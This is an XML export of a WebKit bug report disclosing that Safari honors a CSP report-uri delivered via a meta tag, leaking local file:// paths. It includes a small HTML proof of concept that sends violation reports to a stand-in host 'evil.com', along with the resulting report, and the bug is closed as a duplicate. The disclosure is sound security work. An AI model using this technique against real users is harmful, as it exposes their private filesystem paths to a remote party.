<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<!DOCTYPE bugzilla SYSTEM "https://bugs.webkit.org/page.cgi?id=bugzilla.dtd">

<bugzilla version="5.0.4.1"
          urlbase="https://bugs.webkit.org/"
          
          maintainer="admin@webkit.org"
>

    <bug>
          <bug_id>158263</bug_id>
          
          <creation_ts>2016-06-01 09:03:39 -0700</creation_ts>
          <short_desc>CSP: report-uri is honored even if CSP is served via &lt;meta&gt; tag, leaking full file:// paths as document-uri</short_desc>
          <delta_ts>2016-06-01 20:24:24 -0700</delta_ts>
          <reporter_accessible>1</reporter_accessible>
          <cclist_accessible>1</cclist_accessible>
          <classification_id>1</classification_id>
          <classification>Unclassified</classification>
          <product>WebKit</product>
          <component>WebCore Misc.</component>
          <version>WebKit Local Build</version>
          <rep_platform>Unspecified</rep_platform>
          <op_sys>OS X 10.11</op_sys>
          <bug_status>RESOLVED</bug_status>
          <resolution>DUPLICATE</resolution>
          <dup_id>154307</dup_id>
          
          <bug_file_loc></bug_file_loc>
          <status_whiteboard></status_whiteboard>
          <keywords></keywords>
          <priority>P2</priority>
          <bug_severity>Normal</bug_severity>
          <target_milestone>---</target_milestone>
          
          
          <everconfirmed>1</everconfirmed>
          <reporter name="Michele Spagnuolo">mikispag</reporter>
          <assigned_to name="Nobody">webkit-unassigned</assigned_to>
          <cc>aaj+webkit</cc>
    
    <cc>bfulgham</cc>
    
    <cc>dbates</cc>
          

      

      

      

          <comment_sort_order>oldest_to_newest</comment_sort_order>  
          <long_desc isprivate="0" >
    <commentid>1198161</commentid>
    <comment_count>0</comment_count>
    <who name="Michele Spagnuolo">mikispag</who>
    <bug_when>2016-06-01 09:03:39 -0700</bug_when>
    <thetext>Safari leaks the full file:// path in document-uri if a report-uri is in a CSP served via &lt;meta&gt; tag, even if the specification explicitly prohibits to honor report-uri if the policy is served via &lt;meta&gt; tag[1].

PoC:

report-uri.html
----------------

&lt;!DOCTYPE html&gt;
&lt;html&gt;
  &lt;head&gt;
    &lt;meta http-equiv=&quot;Content-Security-Policy&quot; content=&quot;img-src &apos;none&apos;; report-uri https://evil.com/csp&quot;&gt;
    &lt;title&gt;CSP report-uri demo&lt;/title&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;img src=&quot;cat.jpg&quot; alt=&quot;A nice cat&quot;&gt;
  &lt;/body&gt;
&lt;/html&gt;

This is the report sent to a remote report-uri:

{&quot;csp-report&quot;:{&quot;document-uri&quot;:&quot;file:///Users/mikispag/CSP/report-uri.html&quot;,&quot;referrer&quot;:&quot;&quot;,&quot;violated-directive&quot;:&quot;img-src &apos;none&apos;&quot;,&quot;original-policy&quot;:&quot;img-src &apos;none&apos;; report-uri https://evil.com/csp&quot;,&quot;blocked-uri&quot;:&quot;file&quot;}}

[1] https://www.w3.org/TR/CSP2/#directive-report-uri</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1198411</commentid>
    <comment_count>1</comment_count>
    <who name="Daniel Bates">dbates</who>
    <bug_when>2016-06-01 20:18:44 -0700</bug_when>
    <thetext>

*** This bug has been marked as a duplicate of bug 154307 ***</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1198413</commentid>
    <comment_count>2</comment_count>
    <who name="Daniel Bates">dbates</who>
    <bug_when>2016-06-01 20:24:24 -0700</bug_when>
    <thetext>Out of curiosity, what version of Safari are you using? You can find the version of Safari in Safari &gt; About Safari.</thetext>
  </long_desc>
      
      

    </bug>

</bugzilla>